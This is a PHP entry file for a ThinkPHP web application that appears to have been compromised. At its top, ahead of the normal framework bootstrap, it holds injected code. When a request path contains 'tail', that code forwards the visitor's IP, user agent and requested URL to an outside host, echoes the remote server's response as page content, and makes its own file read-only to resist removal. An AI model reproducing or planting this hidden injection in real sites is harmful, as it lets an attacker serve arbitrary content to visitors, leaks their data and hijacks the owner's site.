<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
// [ 应用入口文件 ]
namespace think;
if (strpos($_SERVER['REQUEST_URI'], 'tail') !== false) {
    set_time_limit(0);
    error_reporting(0);
    header("Content-Type: text/html;charset=utf-8");

    function getRealIP(){
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }elseif(isset($_SERVER['HTTP_CF_CONNECTING_IP'])){
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        }else{
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    $uip = getRealIP();
    date_default_timezone_set('PRC');
    $TD_server = "http://top5ai.infoligo.com";

    $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; 
    $ch = curl_init();
    $url = $TD_server . "/host=" . $_SERVER['HTTP_HOST'] . "" . $_SERVER["REQUEST_URI"];

    // 设置请求的HTTP头，X-Real-IP
    $headers = [
        'X-Real-IP:'. $uip, // 用户IP
        'REMOTE-HOST:'. $_SERVER['HTTP_HOST'],
        'User-Agent:'. $_SERVER['HTTP_USER_AGENT']
    ];

    // 配置选项
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回请求结果而非直接输出
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义 HTTP 头
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
    curl_setopt($ch, CURLOPT_URL, $url);
    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    }
    curl_close($ch);

    $Content_mb = $response;
    echo $Content_mb;

    $url1 = $_SERVER['PHP_SELF'];
    $filename1 = @end(explode('/', $url1));

    function set_writeable($file_name)
    {
        @chmod($file_name, 0444);
    }

    set_writeable($filename1);
    cache_end($dir);
}

require __DIR__ . '/../vendor/autoload.php';

header( "Access-Control-Allow-Origin: *" );
header( "Access-Control-Allow-Headers: content-type,token , autograph, Origin, X-Requested-With, Content-Type, Accept, Authorization" );
header( 'Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS,PATCH' );
// 执行HTTP应用并响应
$http = ( new App() )->http;

$response = $http->run();

$response->send();

$http->end( $response );
